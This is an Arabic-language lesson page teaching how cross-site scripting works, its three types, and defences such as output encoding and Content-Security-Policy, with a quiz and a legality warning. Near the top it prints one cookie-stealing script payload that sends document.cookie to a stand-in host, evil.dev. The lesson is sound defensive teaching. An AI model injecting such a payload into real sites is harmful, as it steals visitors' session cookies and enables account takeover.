سكربت في صفحتك
XSS: كيف كود غريب بيشتغل داخل متصفح الضحية، وأيش يسرق.
الموقع بيحكي: 'أنا ما بعرف إيش بتكتب، فبدي أطبعو زي ما هو'. لو نصّك كان وسم <script>، المتصفح ينفّذو. أنت ما هاجمت الخادم — هاجمت زوّاره.
<!-- حقل البحث بيستقبل: -->
<script>fetch('https://evil.dev/c?'+document.cookie)</script>
<!-- الموقع طبعو بدون تنقية → كودك ينفّذ عند كل من يشوف الصفحة -->الأنواع الثلاثة
- 1المنعكس (reflected): السكربت في رابط، والضحية لازم يفتح الرابط.
- 2المخزّن (stored): السكربت ينحفظ في قاعدة البيانات (تعليق، اسم مستخدم) ويشتغل لكل زائر — الأخطر.
- 3DOM-based: الخادم ما بيذنبش — جافاسكربت الصفحة نفسه اللي ينفّذ.
أخطر نتيجة: XSS مخزّن في صفحة إدارية = المهاجم يشتغل بصلاحيات المدير، من غير ما يلمس كلمة سر.
العلاج: تنقية + ترميز + رؤوس
Content-Security-Policy: default-src 'self'; script-src 'self'
# يمنع تشغيل أي سكربت ما جاش من موقعك نفسه
# وترميز الإخراج: < يتحول لـ < فما يتحوّل لوسمتجربة XSS على موقع حقيقي بدون إذن = جريمة. استعمل منصات التدريب: DVWA، PortSwigger Web Security Academy.
خلّينا نطبّق خطوة بخطوة
سنفهم لماذا لا يجوز أن يعامل الموقع تعليق الزائر كتعليمات برمجية. هنا نكتشف النمط فقط ولا ننفذ تعليمات الزائر.
بكلمات بسيطة: الوسم: كتابة بين أقواس تحدد عنصراً في الصفحة. السكربت: تعليمات تجعل الصفحة تتفاعل.
الخطوة 1 من 2
اكتب نصاً عادياً في حقل البحث واضغط «نفّذ».
ليش؟ نتأكد أولاً من طريقة عرض الكتابة.
شو لازم تشوف؟ يظهر النص في المعاينة دون إنجاز التمرين.
اختبار سريع
اقرأ السؤال واضغط الإجابة التي تراها صحيحة. يظهر تحتها سبب الإجابة؛ وإذا أخطأت، اقرأ السبب وغيّر اختيارك. يُسجّل الدرس مكتملًا عندما تصح كل إجاباتك.
أيش أخطر نوع XSS؟
أيش يوقف XSS أساسًا؟